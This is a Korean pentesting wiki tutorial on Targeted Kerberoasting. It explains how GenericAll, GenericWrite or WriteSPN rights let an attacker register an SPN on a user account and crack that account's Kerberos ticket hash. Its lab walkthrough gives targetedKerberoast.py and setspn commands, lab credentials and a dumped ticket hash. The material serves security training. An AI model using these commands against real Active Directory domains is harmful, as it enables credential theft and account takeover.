Targeted Kerberoas 공격은 SPN이 등록되지 않은 사용자 계정을 강제로 등록하여
커버로스팅 공격을 허용하도록 한 뒤, 해쉬 크래킹을 사용하는 공격입니다.
SPN을 등록하기 위해서는 GenericWrite, GenericAll, WriteSPN 권한 중 하나가 필요합니다.
보통 이러한 권한은 특별하게 다른 사용자에게 위임하는 경우를 제외하고는
계정 운영자 그룹(Account Operator Group)이 소유하고 있습니다.
계정 운영자 그룹 혹은 GenericAll/GenericWrite 권한을 가진 사용자가
직접적인 권한상승 방법이 아닌 평균 성공률 1%의 해쉬크래킹 공격을 시도하는 이유는
은닉성, 지속성, 가용성 때문입니다.
Practice
실습 머신에서 장악한 wiki 사용자는 vulnuser 계정에 대해서 GenericAll 권한이 있습니다.
GenericWrite와 WriteSPN 권한 모두 동일하게 개체의 SPN을 도메인에 등록할 수 있기 때문에
실습에서는 세가지 권한에 대한 각각의 실습이 아닌, GenericAll 권한에 대한 실습만 진행합니다.
# 명령어 양식
python3 targetedKerberoast.py -v -d <Domain> -u <USER> -p <PASS> --request-user <Target> --only-abuse
# 실습
┌──(root__kali)-[~/PentestingWiki]
└─# python3 targetedKerberoast.py -v -d pentesting.wiki -u wiki -p password123! --request-user vulnuser --only-abuse
[*] Starting kerberoast attacks
[*] Attacking user (vulnuser)
[VERBOSE] SPN added successfully for (vulnuser)
[+] Printing hash for (vulnuser)
$krb5tgs$23$*vulnuser$PENTESTING.WIKI$pentesting.wiki/vulnuser*$9e554d695480fbf858681
...
[VERBOSE] SPN removed successfully for (vulnuser)
# 명령어 양식
setspn -A HTTP/<Domain>/<Target> <Domain>\<Target>
# 실습
*Evil-WinRM* PS C:\> setspn -A HTTP/pentesting.wiki/vulnuser pentesting.wiki\vulnuser
Checking domain DC=pentesting,DC=wiki
Registering ServicePrincipalNames for CN=vulnuser,CN=Users,DC=pentesting,DC=wiki
HTTP/pentesting.wiki/vulnuser
Updated object
*Evil-WinRM* PS C:\> setspn -L pentesting.wiki\vulnuser
Registered ServicePrincipalNames for CN=vulnuser,CN=Users,DC=pentesting,DC=wiki:
HTTP/pentesting.wiki/vulnuser
References